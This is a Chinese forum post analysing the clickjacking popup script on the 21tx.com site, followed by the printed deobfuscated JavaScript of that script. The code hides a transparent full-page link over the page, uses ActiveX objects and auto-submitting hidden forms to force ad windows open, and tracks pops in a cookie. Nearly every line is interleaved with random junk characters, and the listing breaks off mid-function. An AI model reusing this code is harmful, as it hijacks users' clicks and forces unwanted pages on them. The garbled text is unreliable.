天星网ClickJacking点击劫持分析9 `4 U) f! d# R3 z5 U
http://www.21tx.com/ 天星网 l$ P v) Y! h+ Q" f
我得联系联系作者 ( \3 i8 V$ k( H) B+ m5 y
刚好打开这个站,发现第一次点击会弹窗,然后就不会,清除下COOKIE,又继续了,然后查看源代码,也没什么奇葩的。
# }6 E3 O. O8 R1 s2 Xhttp://www.lxting.com/script/popup/v1_min.js
& a/ f% R* |% X$ R8 X6 k/ G
- J! D1 I& C8 r/ L$ |这个是锁定到底JS脚本,$ l/ v( N$ n# h* a. G
解密后的代码- (function() {
: m$ r ~9 Q$ L: \: C& n/ p% M - var aa_url = window.ytpp_url; 7 E8 P$ B' b; G1 K8 k5 d# p+ s9 t
- var ua = navigator.userAgent; 5 P5 A i7 K: X9 `" L4 L; l9 y
- var form_div = document.createElement('div');
' R4 g v) S/ U; X& q - var form_pd = 0;
5 M% p; k6 z% O - var browser = {
7 X+ |4 C4 l$ X8 h! q' T5 z' N - ie: /msie/i.test(ua),
) {9 G' ^4 d: u5 h- I - ie6: /msie 6/i.test(ua), . {/ H( `7 ]# c. H
- ie7: /msie 7/i.test(ua),
) J1 c# W8 Y7 b2 v' c - ie8: /msie 8/i.test(ua),
$ m' r" C4 w% W) w6 \& o. _ - ie9: /msie 9/i.test(ua), 8 @6 h2 `- X* ?$ _0 p
- 360 : /360se/i.test(ua),
& a9 P: W( A% w' v* v. S0 T! F" n! f - sogou: /;?se.+?MetaSr/i.test(ua),
* b/ O V r# v8 m - maxthon: /Maxthon/i.test(ua), , R: Q5 u2 `5 J! I. f- c9 q
- tt: /TencentTraveler/i.test(ua),
; `+ C$ D: q. ?. R% r2 b2 L7 ` - ff: /firefox/i.test(ua), 1 q L) r; ^2 z5 \
- webkit: /AppleWebKit/i.test(ua),
( h# o. ] o5 |3 p2 o - opera: /Opera/i.test(ua), 8 F( ~$ Z: _5 F( ~
- qqbrowser: /QQBrowser/i.test(ua),
! C5 W9 e1 J; j - cr: /chrome/i.test(ua),
# J$ Z, W& u, }$ S - gg: window.chrome, 2 _' C- y; n9 ]- [
- theworld: /Theworld/i.test(ua)
4 l8 _6 D, x4 w - }; 8 L3 Y( g# j( {2 J2 v8 i2 i
- var _setting = "";
: Y6 ^- l: R: Z, M) C. u - var _ct = 0; " J5 G+ e6 L% B' p0 l U
- var _le = 0; * B" j% A. R0 t0 n; @7 Q/ _
- var _pd = 1;
* d- R1 k# ^, l0 O6 p- j7 d - var _pd2 = 0;
+ _ x* a6 a0 ~ a& `+ t" n8 x! x - var _pc = 1;
5 \2 [; X8 M& I9 p- j - var _pc2 = 1;
; j+ u3 O- R0 x0 v+ n1 B5 R: O' F - var _pco = 0;
1 k' V8 }0 P* Y4 d d - var _pta = 0; 1 ~8 c/ P4 [. o2 i( I$ z
- var _ptb = 0;
& t: s! h( c4 ] - var _pt2a = 0; 2 o% a/ x2 u* C
- var _pt2b = 0; # z- y/ ~4 B% t% c
- var _pt3a = 0; # y4 b- f+ H+ d
- var _pt3b = 0;
& x1 e% j, M! A - var _pt4a = 0; . X6 r0 v U% t
- var _pt4b = 0;
. ^ F% N1 v3 o) h" W. _4 n% f - var _pt5a = 0; 8 v# M6 r8 `& P' I
- var _pt5b = 0; 6 Z+ j+ G% G. R8 Y$ }& D
- var _pt6a = 0; ; X0 s$ B Y7 f8 F% r+ X
- var _pt6b = 0;
* }( E. h* R5 x* F! x: c6 E - var _pt7a = 0; & [* b- \7 \3 {' U1 }: a# Y6 M- D
- var _pt7b = 0;
; P2 E( i. @" D4 O" N+ n5 o8 z- p - var _pt8a = 0; ) F; R4 I" y A
- var _pt8b = 0;
, K4 M( @9 E8 m) W3 P' [- V6 | - var _pt9a = 0; + `' }# m4 I: Y% Y) E* [
- var _pt9b = 0;
2 F1 ?+ M& n& C* y+ w - var _pt10a = 0;
" a- w7 {( g8 R& R% j& A - var _pt10b = 0; - _5 t" W5 C: Q- K" K+ L2 e7 B5 b
- var _po = 0; 6 A- _0 ?8 r# ]
- var _poo = 0; ! D8 n: v& m3 |" ~$ P2 r$ i
- var ckn, ckt;
* @# u" d5 J } - var ads = 0;
( q8 N$ q" i) F9 t* y# J3 {1 D; u - function b(w) {
+ ^) p( R! W- j- @2 n* C - var s = w + "=";
1 |, P6 r. t# j# @$ ~ - var r = "";
) Q2 f6 H1 d9 D, }1 W s; w* X - var o = 0; |4 @# M9 \! V; T
- var d = 0;
7 w9 t: f, V) e2 z* |+ E - var p = document.cookie;
$ w9 m6 U! \' I. ~: E5 F' H. T - if (document.cookie.length > 0) { : z" ]" u& E0 b
- o = document.cookie.indexOf(s);
/ g; f4 c% I1 E* {) z3 y - if (o != -1) { 8 n4 T+ G- ~' D& I0 q
- o += s.length;
9 v* S$ A# B# T F* c8 I - d = document.cookie.indexOf(";", o); 2 R# _# L5 {: |- {; Y
- if (d == -1) d = document.cookie.length;
8 z3 v$ ?: i4 Q, A+ X) ] - r = unescape(document.cookie.substring(o, d))
( L- a1 B; X5 E q7 ~1 L - } / l X* N3 X' ~
- } 9 y; |! S, [" Z# W- B" C `
- return r
( c, c# a" J: ~ - }; 0 V. U7 I) P% ^% [
- function p(w, p, v) { 3 v, a) O, P) @7 |
- var t = 30;
/ \5 ]& M& R# f; V - try {
5 i* I9 @3 u7 ]0 ~" l. K# ~ - t = parseFloat(p) * 1
& r( r& ?" G" q - } catch(e) { 2 b2 N0 ?! g+ ] N$ ?- g& u( i
- t = 30 8 q; L0 {) p6 b& l8 I7 a
- }
$ A' B, O( r; _1 ? - if (isNaN(t)) t = 30; 8 U0 O7 ~- D6 d; @9 _' G5 g
- var then = new Date(); " B+ Y! u- V) i# e# u* d! X2 D9 s
- then.setTime(then.getTime() + t * 60 * 1000);
m9 o8 H+ H' {( u8 Y - document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;': N6 [& E1 l6 S3 Y: d
- };
( z7 G. v* M, N! p9 S# y# o - function init() {
- m+ ?' E. t" d! F5 ` - _setting = ytpp_sti;
- n& L0 M+ X+ I - if (getp(_setting, "CT")) {
4 S2 m+ }8 {1 c0 W2 V - _ct = getp(_setting, "CT") 7 O; Q- f/ l. q! ?5 f
- }
' Z, ?3 ~, y6 y8 P/ P; d- p) {6 d- @ - if (getp(_setting, "LE")) { 6 j' y" |- u' d6 R
- _le = getp(_setting, "LE") ! L& d- X8 ^1 y+ H) N0 Z4 L
- }
$ s, u8 b, l: a+ s9 A - if (getp(_setting, "PD2")) {
% z9 j% Z! o h - _pd2 = getp(_setting, "PD2") / r a, l+ k& H" w
- }
2 N* D6 h! v6 f$ h% T3 j8 | - if (getp(_setting, "PC2")) { . ?6 w* h/ H# |; p9 h# }
- _pc2 = getp(_setting, "PC2")
9 h+ Y5 x) K7 S/ b - } # H( f! Q% K. U& z, _7 Q
- if (getp(_setting, "PCO")) {
# x+ z* F! r3 C& h# [ - _pco = getp(_setting, "PCO") # h: Z: ~* }& k0 l. H
- }
; a u4 ~, `5 {9 L1 K0 N - for (var i = 1; i <= 10; i++) {
7 W$ S p! m3 x' f; V# g! E5 t5 K - var n = i == 1 ? "": i; 1 E2 W* U# [" r9 x* v
- if (getp(_setting, "PT" + n)) {
9 Z ?" n- H2 U" u - eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
0 x7 i" g- a: T7 P' B1 k - eval("_pt" + n + "a = _pt" + n + "[0];");
2 I0 I1 ] o! e/ w% L - eval("_pt" + n + "b = _pt" + n + "[1];") Z7 h3 ]& b) t2 ~
- } % H6 U# t+ F8 p; r0 C p% Z
- } ' C# j2 Q6 y! `7 P
- if (getp(_setting, "PO")) {
: p" g) Z5 d4 X% J - _po = getp(_setting, "PO")
: V& R! {: g) {5 ~ - }
* h5 c0 h) ?6 |; W) x. N2 Y& H - if (getp(_setting, "POO")) {
# e) c" e1 D) i7 A0 ~6 N - _poo = getp(_setting, "POO") 9 x( w9 h5 A p. _
- }
2 l2 }( ?8 j4 m' h3 F+ j" _ S - if (_pco == 1 || _poo == 1) { 6 q8 v# \. V. ~
- if (_poo == 1) { y: p8 Q1 \8 D8 N6 I3 f
- _pco = 0
, Z* a/ T8 P7 ^( ?, r( A - } else { 6 h8 ^ \6 @- o
- _poo = 0
@3 A: U" n& z8 a$ P - }
1 ^, X, Q. O; m& w" F - _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
9 ]& V$ \+ P, x+ h - for (var i = 2; i <= 10; i++) { ' d, I/ e4 v$ m' g7 R7 R! b
- eval("_pt" + i + "a = _pt" + i + "b = 0;") 6 Z1 `! ?; o8 O5 D: j& |. x! P
- } 2 c; k8 n3 g1 t8 o9 @8 d4 l( ?9 `
- } ) M$ \# x; S/ c3 H8 t' F
- }; # y9 _- l: q$ R8 ]
- function getp(s, p) { 1 x0 l2 A9 Z V: y* b5 C
- var i = s.indexOf(p + ":");
5 b2 @% O) F: C; r% p - if (i >= 0) {
4 l) m& ?/ P* E2 l j0 S; D8 ~ - return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
. V- Q# l7 ]+ j4 i7 V, K( @6 {& V - } / k6 D7 b1 n/ w: m
- }; / T4 N( t5 S- C$ i
- function event(e, event, func, act) {
6 `8 s: h( z8 g0 l3 B - if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func); " Z U9 k$ C( e+ m* s% F
- else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
" g; C# {9 D+ T - }
# t+ i' g2 B8 U. ~ - function pop(url, param) { ' t- z$ B6 W5 @9 S* y
- if (!document.body) {
; M9 ~! e( G; h+ Y m9 g* J; N - return setTimeout(function() {
4 ?: k$ j2 i, I! [5 R& N8 x - pop(url, param)
' E- n3 I' p) i; K) l/ @% B - }, & T! N- j% c" J* V4 v: n" H
- 13) 7 `: _/ V+ i% @1 G
- } 7 X, |+ U- A# n$ |- ^, n$ c- Z
- try {
0 M+ z5 m! r& F- A3 T - if (browser['cr'] && browser['gg']) { 0 ~2 _; e4 J" f$ P1 h" V. [
- try {
! b1 ~% K9 U4 R0 _ - hrefopen(url) ! l6 u8 k- U( O
- } catch(e) {
. T1 z* z- O+ W. K9 x, n! a - a_pop(url) 3 l7 Z, _4 R' t' [: ?5 u
- }
E) }1 k( X) E3 M" ~ - } else if (browser['webkit'] && browser['maxthon']) {
# ^/ |; A* l8 X4 x& [7 W5 c* {0 W - if (!func(url)) { 3 `& @8 u" W. I" {3 w9 E
- try {
2 n6 J) W v" n. m. L; t' g - form_pop(url);
E5 G' p& l, V: j0 N - a_pop(url)
- b9 Z q$ S4 _: o - } catch(e) {}
$ C( b, O) N8 Z1 \9 j/ S7 p* o# Q - }
7 T, a A4 X4 C$ n" J9 i' | - } else if (browser['tt']) { - M4 F" }2 ^7 w p$ r7 U
- try {
6 ~1 w2 e- Z$ B8 W! x - object_pop(url) 0 |- x9 |% z8 t( l+ U0 v9 T. D8 u
- } catch(e) { # `- \$ ?! N6 x4 S
- a_pop(url) ! U. r+ D7 f; E7 W2 R5 t7 g% Q
- } * P3 k' C% F( w: E0 q
- } else if (browser['sogou']) { : g' n! n$ K6 R4 f& N
- if (!func(url)) { 0 }! ~8 w2 |. ]8 ?+ e6 W: C2 u
- try {
& X- w) b9 N h$ O0 C( D- v( p - a_pop(url)
% C `1 r. i! h0 H8 p+ Z6 S! L1 H( i - } catch(e) {}
7 e2 Q; {5 e3 Y5 e - }
/ w- t) o; S" B0 q8 G - } else if (browser['webkit'] && browser['qqbrowser']) {
2 @' D Q# M3 K - if (!func(url)) { - @& o% g" S* ]% H4 `
- try {
) X, b4 H" u6 ^% K3 x; i - form_pop(url) 6 Y( P, |& c, X5 {
- } catch(e) { $ i1 m# m y* [
- click_pop(url)
]6 o9 P) @4 `& a4 L; R - }
' i. j- _* k7 l M' `, S9 D$ o - }
: _# z* f- [8 Q, \7 U- t# f - } else if (browser['webkit'] || browser['opera']) {
% ^6 h8 d0 l0 [. m - try {
$ {$ R2 y+ Z9 e& n, v$ R) M S - form_pop(url); " t* U2 f6 e8 U$ {: f1 v) V" L
- a_pop(url) & g2 N( J! L4 x6 K) D
- } catch(e) {} ' _8 } F8 F4 I9 Y: O/ J' u/ U* d& n: Z
- } else if (browser['theworld'] && browser.ie6) { ( O& ~ D$ ]2 d! _. X; b
- if (!object_pop2(url)) { / `; x, h7 | W. Y
- a_pop(url) ; D6 N- l. @ ~& O9 ~5 x6 \$ Q7 z
- }
k* c$ b6 w2 Z5 L - } else if (browser['theworld'] && browser.ie8) {
8 l" S; y- X; s9 h - if (!func(url)) { ' E' z" [1 z( B+ s) c6 F
- try { / `% G# h+ L! `9 \# a& B P' j
- object_pop(url) ; R+ H/ i; h2 F+ S
- } catch(e) {
5 P8 c* I2 }5 ]! m2 C" B6 f& o - click_pop(url) 3 H {& u- d( [4 H% e
- }
: X; r& d7 J- ?2 q8 i - }
~5 s7 T* J2 W `7 t J1 O - } else if (browser.ie6) { 2 e& M* r1 S% `0 `" p
- if (!func(url)) { ) n f: Z% o4 Z) `& Q/ Z, p
- object_pop2(url)
) ` d7 P: x( g- Y5 o1 u& E - }
9 Q' Z% u o. \' }& A- E! a. A - } else if (browser.ie8) { 8 `; U1 }2 ]1 y" a
- if (!func(url)) { 4 b& K+ f \! ^5 y
- try {
& V6 S8 k( {0 p- J1 Y - object_pop(url)
' n+ f# s! W8 R# i# L' z - } catch(e) {
" y, I- S( g) t+ K - document.onclick = function() {
, o! B6 x- ` u! X8 ~. N& k - func(url);
+ [/ [ \3 P* ]# M* \( g4 k - document.onclick = null7 k3 Z$ Z0 f! G5 a: @$ h: ]7 N7 {
- }
" s7 W0 [0 A0 h, f7 s/ k6 n - }
4 v( \# K# C8 j7 `; G/ U9 J | - }
/ I5 H" }8 w1 {2 p) t- W* A - } else if (browser['ie']) { ' X' U: M1 v/ \& t+ S
- try {
& q2 }5 b/ G) o9 x% T - object_pop(url)
) m6 L$ x" J+ {; k - } catch(e) { 9 K: }7 N& S& E* O5 i! h
- click_pop(url)
( c# O3 I% n- @1 D; ?3 _) R0 K - }
/ S0 R/ J3 n/ l: g4 I: l - } else if (browser['ff']) { 9 J8 l: r- u$ R6 T" e2 }) T4 g
- if (!func(url)) {
1 G: _% J* e; l - click_pop(url)
; P" q# e7 R% }) y1 Y - }
9 U4 s8 E+ ^( \# E2 X1 g - } else {
4 l3 e, L; j; k0 Z- C9 O$ _ j& A - if (!func(url)) {
8 Y" x6 u' f! \ - click_pop(url)
]9 J$ P% z! c: t& ?( B4 \ - } S0 C. J6 n, y, D" E& @7 M" a, m# a
- }
j+ a/ C) t+ O5 \. U U- i% v - } catch(e) {
% x) }* x9 P$ V' |! ?0 z - if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
) G0 S+ d% f) ~ - click_pop(url) / Y( B2 o7 _" c& j7 ]3 i* H( _
- } else { 3 W; C: M, p' `
- a_pop(url)
# k" R8 {3 o7 U9 `$ y) o - } $ Z5 V1 L3 v5 _
- } # i% {5 y* {: I7 a
- } , W S$ x, g/ {- E
- function object_pop(url, param) {
; M6 b0 c% ]7 f0 B2 k2 k X" h2 ? - var object = document.createElement('object');
+ c2 ^- E) z3 i4 j* F4 ^& W - object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6'); 9 S9 c% D" {# H1 A
- object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
+ c7 E' _ M3 e Q( H0 V - append(object); * S7 e/ h! M$ N. J, |( Q
- object.launchURL(url);
* s( T; k9 }/ S4 n1 G6 P% e0 g - ads++;
6 o6 y9 J7 @: ^8 n, J - p(ckn, ckt, ads) # G& p% ]# g3 n1 W; w6 m
- }
1 g" L" s, Q6 [$ ?: U - function object_pop2(url, param) {
- \" a' Y8 o0 X ?" a' p5 _ - var object2 = document.createElement('object'); % m' L! o& E( M" w- R# ` c
- object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
5 j& T, ?0 [9 j }3 `; n" B8 A% Z - object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
5 ]' y: C) }- q2 ` - append(object2);
w2 s2 t# N+ p! M - for (var i in object2) {
/ c) g% M% o& l" a - try { (function(o) {})(object2[i])
1 F' O: b* Z2 v) F" L$ b Q - } catch(e) {}
7 ^- W4 H3 `4 ~. j% p3 v - }
* i4 l3 C# G: X* L- F6 b - setTimeout(function() {
, e# g& I8 l5 A/ |1 } - object2.DOM.Script.open(url, '_blank', '')
6 h: ~" N- V; I/ @ W+ @ - },
( w1 ~" z- F* s/ t! i - 500);
2 C( M2 Y' f; T5 i - ads++; 7 U6 I9 g% I0 u. T
- p(ckn, ckt, ads)
# y0 Q$ h# [# w6 S* Q2 \& e8 G2 Y/ g - } ! c+ R6 E5 t* g6 }& ~5 v
- function append(e) { & ?! K) k4 z8 {) ~
- for (var t in { 3 P3 E l) a" L$ v1 ^
- body: 1
* X, P' H+ Q/ Z$ [' @' k - }) {
2 A# Y8 R* N2 C+ Q" \+ ]& G - var ele = document.getElementsByTagName(t); % A7 |: l( y# A- }( q1 r: \) Y
- for (var i = 0; i < ele.length; i++) { : R2 V6 }" K9 ?' k! U2 ?7 O
- ele[i].insertBefore(e, ele[i].firstChild); # J* E6 ^. u: A* Z+ { b% R) j8 c
- return
. E O1 d& W0 m" `4 Y6 E - } A. g" N/ i$ k
- }
1 m+ ]+ L3 p3 Z2 }; Q0 d - } ) s' n, h4 \5 i3 p' \
- function hrefopen(url) {
. l& t! ]/ \3 f! g; U; E - try {
& [+ ~- P; T5 l+ M* ^8 X; F/ R( E - var c = document.createElement("a"); " t1 W) p6 I5 v
- c.setAttribute("href", url); + X: J6 n% M3 l+ A& @
- c.setAttribute("target", "_blank"); ' \3 {; X [8 j
- c.setAttribute("style", "display:none;");
K; l% e# u/ A4 q( Y8 ^+ J3 L - var b = document.createEvent("MouseEvents"); ' K' B$ |6 \( G
- b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); ! I& g m3 c! h6 e$ j
- c.dispatchEvent(b); 9 Q/ w8 H( @) A' ]1 C) Z& h
- ads++;
# L* N5 q$ t( C3 I" d4 T - p(ckn, ckt, ads);
9 ^7 G9 I" o9 a0 M - return true E; l" @) h2 C0 I( z' t! t W$ {
- } catch(q) {
! I3 E2 P; M0 s6 `3 i1 v5 @$ s - return false
3 {7 {) t: r+ V( H/ F6 k - } $ s9 U, X1 o r& N( t
- } + ~( c, F8 ]& v* g0 |" \
- function form_pop(url) { ) L# D2 w. @: V0 k+ K( W
- form_div.setAttribute('id', '__unionsky_push_d_object_box__'); # p& `1 x9 {# a, |" B: W
- form_div.setAttribute('style', 'display:none');
+ W2 O, ?: m- u1 b O. G - var form = document.createElement('form'); ) b5 }/ W V/ y- X% t2 f
- form.setAttribute('action', aa_url);
+ f6 L* {' F0 @7 l8 V - form.setAttribute('method', 'post'); - E% z6 ~8 J8 k
- form.setAttribute('name', '__unionsky_push_d_form_box__'); 5 O, T% i m* _* f5 X# o
- form.setAttribute('target', '_blank'); " \- |* V/ j9 n2 p( H9 J. i0 _/ x
- form.setAttribute('style', 'display:none');
1 `5 h" O! |( K# `7 ~' k- n6 ~ - var sinput = document.createElement('input'); 1 e) C! u: }; o7 d& I
- sinput.setAttribute('style', 'display:none'); ! A( `- k% A+ h9 j; e% K# J" V* J
- sinput.setAttribute('type', 'submit'); + `5 A& }2 r/ ?
- sinput.setAttribute('id', '_sumit_2app'); , e7 [, M& P5 B$ h7 W
- form.appendChild(sinput); : v6 @- l9 P! I' s1 s9 H3 [/ _- K# ]$ I0 ~
- form_div.appendChild(form); 5 Q5 R) f( s; U
- append(form_div); ! `2 e8 D3 ~6 p; S$ h- [; T- b
- var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
' A; H& ]* g) y* t/ E2 q/ o - try {
4 R" N; h1 p5 G - document.getElementById("_sumit_2app").click()
4 Z3 }0 Z& @4 A4 k: w5 F, K; | - } catch(e) {
/ `7 y4 ^: Y: O( n' m - event(document, 'keyup', 6 \' o; U! b% b: k. P/ [7 v
- function(e) { 6 y' @" J; D) Q* r5 K/ ^
- if (document.getElementById('__unionsky_push_d_object_box__') == null) {
- p# W+ R2 y- F8 s - return
/ h$ I7 s6 k! B1 f/ W v0 n - }; , t" ?( c- }( V( @8 Z& w* X
- e = e || window.event; & b' |9 ^: T. r) T. o1 V
- e.canceBubble = true; " E ]' `6 H% m5 Z, l( N7 r
- event(document, 'keyup', arguments.callee, true); : {# t/ p! G. O1 s5 O0 C* t k
- form_pd = 1; ; t* |$ c) s' } j2 A* ^1 D* r* Y
- unionsky_from.submit()
% A: c) M/ p- I9 P - })
: I; t8 M- `0 F, c$ N0 g% T( l# Y _1 ] - } % c. y) c3 P" f% m& V5 d- H
- }; , H5 M8 ]6 K* O9 B7 ?0 p% C' Y
- function click_pop(url, param) {
s$ O D3 z: u - event(document, 'mouseup',
}3 ?1 \9 K* j! N5 G- ^4 f - function(e) {
% C8 O, `) E( Q$ |( E - e = e || window.event; * b* w1 x3 } |& f
- e.canceBubble = true;
( M0 l! q3 h6 t9 Y - event(document, 'mouseup', arguments.callee, true);
- t; F6 I+ `4 ?2 |6 O - func(url, param); 8 y# a3 H/ O1 r3 s. @' e; D
- ads++; 1 |# [2 @0 C$ W2 A! x, ?& X0 [9 s
- p(ckn, ckt, ads) % e- I8 h L, B" ^, D
- }) / [3 {6 _1 V- ^; T4 H& J( i" b
- };
, W0 G( d) u) T4 d - function a_pop(url) { 1 a( b( R7 V# E' @- j
- if (ytpp_plid == 166028) { 7 k6 ~. K2 @& `7 j: U5 x
- return2 u7 i7 ]3 _9 _& }* Y
- }
c/ Z: o1 \5 t - if (!document.body) { 8 {% Q/ d! h: l& k( ?0 h# P
- return setTimeout(function() { 9 a l) C- l( H( F' ]
- a_pop(url)
: i0 Y5 h. r1 E2 H2 l* H p2 k& O* E - },
8 |+ X; Q5 E' r0 s Y* ?" ~ - 13) ! ^- e P. ^: O" t, B; V( r' m
- } % Q9 X" x' m# @! x o; l, l9 z1 h
- var a = document.createElement("a"); 6 j* a$ X- P3 k' ^5 g- e- M. j
- a.href = url;
. I8 E) x& H4 U4 ]2 d2 I- \, U, @ - a.target = "_blank"; ( e+ s% e2 n/ c5 l$ X- [
- var div = document.createElement('div'); 0 d L* f. A, S9 K( V& V
- div.style.backgroundColor = '#fff'; % C/ H7 S) n# Z, R7 K: n
- a.appendChild(div);
8 B P- v. P5 g% {. ?$ o9 |* o - append(a); % s; L( X) D0 e. A- h/ N$ e+ }
- var as = a.style; ' ^% D; {1 Y5 ^- M9 O# h
- as.position = "absolute"; . V; a* X. j4 o$ G, \7 O& u
- as.zIndex = '2147483647';
! i3 n9 G* _2 i" X9 B - as.display = "block";
. s0 I$ n' T* l* k' S/ t- Y - as.top = "0px"; , R+ h* }% N) \& i" Q( G
- as.left = "0px";
# I* N5 o2 K' t" c5 O4 c - as.cursor = 'default';
! v# ?) |( a. c8 W* V& k# P* H - as.opacity = "0";
. X; W* [: ~( Y. B/ J, a6 Z - as.filter = "alpha(opacity:0)"; 3 G/ j \3 m# H6 I: G
- var m = setInterval(function() {
6 B' ^# J1 n" z - if (form_pd == 1) { + z' a$ g) P% M- Y
- a.parentNode.removeChild(a);
, s% M+ B- H m1 A) M1 u3 ^$ a - clearInterval(m); $ R( }0 V" m7 l6 t! L
- return
4 `- U3 _, T- F& I - } q5 O- Q. Y7 ~' E! b6 {+ r
- a.style.zIndex = '2147483647'; ) B1 B; i' D I, O
- var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body; 8 B I" g& N+ p/ ?4 o. s# x( i2 g
- a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px'; 4 M' R( p! S" V9 o$ y/ S
- div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px'; : \7 F3 h' L& [! I6 e
- div.style.height = d.clientHeight + 'px'; + Q! N; _. E9 C- F+ i1 g! D
- if (browser['ie']) {
8 P& \8 o* n* x( g8 R7 h - try { % l) \+ S2 j o6 p" Q0 s& s
- var divs = document.body.childNodes; 6 Z4 M. z9 I d" P) R$ s
- for (var i = 0; i < divs.length; i++) {
+ Z- T, q/ d- Q* P G2 V - if (!divs[i]['style']) {
" R/ d- j+ x6 h8 E9 ` - continue2 L9 q# v; ]- \( [
- }
2 R/ |8 \$ X$ ?$ O - var _i = parseInt(divs[i].style.zIndex); 6 r8 }& W7 f) P; y& D- ~0 _1 ?
- if (_i && divs[i] != a && _i == 2147483647) { ' e: h( c, e4 F9 ~. s' @4 C
- divs[i].style.zIndex = _i - 1 5 w) \0 L: @: ^. `8 R6 G- ~
- }
$ [9 Y" T2 v& g5 M' K1 c - }
& z; p! k$ `' R0 p. z2 Y" O - a.style.zIndex = '2147483647'# t0 i+ A) T% o/ L% Z* j0 a
- } catch(e) {} ' h6 o. d, L2 j" W/ B# Q" f2 r5 F
- } ' j! u' F7 q: T. A1 ~. w
- }, 0 G/ {3 ]1 ?3 @3 _ a
- 120); # f$ s" i- y! i
- a.onclick = function(e) { $ U d; |# {2 \7 T: S6 W3 Z
- if (document.getElementById('__unionsky_push_d_object_box__') != null) {
/ i+ ^; Q j- g& X! p% h - form_div.parentNode.removeChild(form_div)
t7 i, u8 I' ~* k - }
( _" k* @; m9 ^5 m - e = e || window.event; # S9 A8 g( c' i1 v* V# g
- e.cancelBubble = true; 2 c/ I y! D- f& ~3 [- k
- setTimeout(function() { % Q3 ?1 b: ~* e1 |1 L/ a
- a.parentNode.removeChild(a)
C$ N6 y8 W- {% |0 P - },
, e( g( P6 y7 f' l4 L - 200); : f* J: G( P" k2 |: g9 B* l
- clearInterval(m);
% N: O: J2 _! t1 n c8 @/ k; Z( |& I - ads++; / D2 A5 j) F# w: x# h" Y7 p
- p(ckn, ckt, ads) 0 \* F0 v( G: I% R' D0 U: h
- };
" G" W0 h! Y5 ]6 w - event(a, 'mouseup', 8 D1 g4 z. O2 P- q* k' }
- function(e) {
% Q Y# D0 V0 e( v y - e = e || window.event;
5 `. q8 m* U" y2 D: s' |" e2 Z - e.cancelBubble = true: G8 o. f! S( A% g& c8 h
- })
" {( l: z' V7 h: Y8 v - }
; A, ^3 C( a5 y4 u3 o - function func(url, param) {
& @" j- B) O- I) w - var f = window[String.fromCharCode(111, 112, 101, 110)]; 7 k4 O4 a# j7 S: m& N2 I$ v
- var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
1 F1 N! l9 @7 m C# L/ ] - if (w) { ( N% m! H, h3 p! g( h
- ads++; ' G! \4 X, d3 _- C6 s3 f$ n. n
- p(ckn, ckt, ads)
2 \/ h# b4 d4 } - }; 9 ]9 Z. `4 F& L! E8 T, O. |
- return w 2 i* a7 V) |; Q- d) i6 w+ o1 }
- }
0 A+ u( \4 O# @9 k5 W V' r - function fstart(url) {
+ Q6 V/ o- ~( ^" I# `8 ~( s- B! V - init();
, G8 l7 \0 C7 Y! R - if (_ct >= 0) {
, U( N O1 j/ c" w1 v - ckn = "YITIAN_NUM";
2 `" X2 S1 L7 c: p8 Z6 H - ckt = _ct
! p7 z. Y; ?" T( h# g4 ] - } else {
- ~6 ~5 I$ B! |; j- X9 ?: n0 f1 ~ - ckn = "YITIAN_ALL";
1 R6 y4 `+ V+ s) ~" P6 d1 e& e - ckt = Math.abs(_ct)
' a, q6 \9 W0 G0 S0 ] - } 6 C3 ]; R+ Q o6 ]
- if (ckt > 0) { 0 j* j. ~: Z2 @, V
- if (b(ckn)) {
3 A* y3 l! A3 ^& N) k - try {
# _$ O4 U3 O$ P( ^+ z - ads = parseFloat(b(ckn))
8 }5 J7 P" I) ?9 ~; D1 m3 { - } catch(q) {} # Z: x; M' W" | m, M2 x+ }
- } 8 Q) k6 j: r! v
- }
v& I6 G' L' @: R5 ~: D$ l5 y8 L - if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) { . F& h* Y7 `" J% R
- return
6 J+ v9 {: g8 } - } else { 3 q# ]0 u1 ^! {9 W4 X1 N
- if (_le > 0) {
) q4 i3 T% ^: K6 y9 T - setTimeout(go(url), _le * 1000)
/ H1 y3 J. g# v/ d+ t: N8 { - } else {
; r3 O: m" L% ^ - go(url) . r n: C q9 S! {2 X
- }
9 } Q* Q. u0 @9 [, N% I, @ - } 0 |' X y2 u5 a6 t6 }
- }
* b: U9 d* T& B# t - function go(url) {
. p0 I/ _* M# H# k5 W) b, v' F - if (_poo == 1) { - O0 E% B D7 |6 v
- try { & m: M( r- D& A1 Q3 q
- func(url)
0 n, u' P1 }" y; s8 ^ - } catch(q) {} % ?+ H6 j7 j2 |2 Y
- } else if (_pco == 1) { , u1 ^7 P( ?6 w: n: i8 N8 H. t
- a_pop(url) ' x. K1 k7 @9 D# v( k ~# Y
- } else { % L" j; z/ b! q
- if (_pd == 1) {
. H3 Z- E) V3 A3 B% ] - setTimeout(function() { Q" y3 n9 G, F1 e
- pop(url, {
1 y4 i! ^, G/ [9 d% @( S - a: 1,
" m9 R1 V# @7 F) V9 f0 j - b: 2
' {3 @1 {0 b! V - })
- j& O6 m) p$ S. Z; @! V5 r- e - },
U- ]8 y* l( i6 I H - 300)
/ [% k. y, j T/ ~! L - } , O& i# i2 w l+ @- X
- if (_pd2 > Math.random()) { 4 @. ~' ~/ \1 S9 ]
- setTimeout(function() {
6 B4 M. `- u# S- M! C* | - pop(url, { 5 Q$ a0 n1 ~0 N6 S( v
- a: 1, \: x- ?; R0 } j2 O+ O
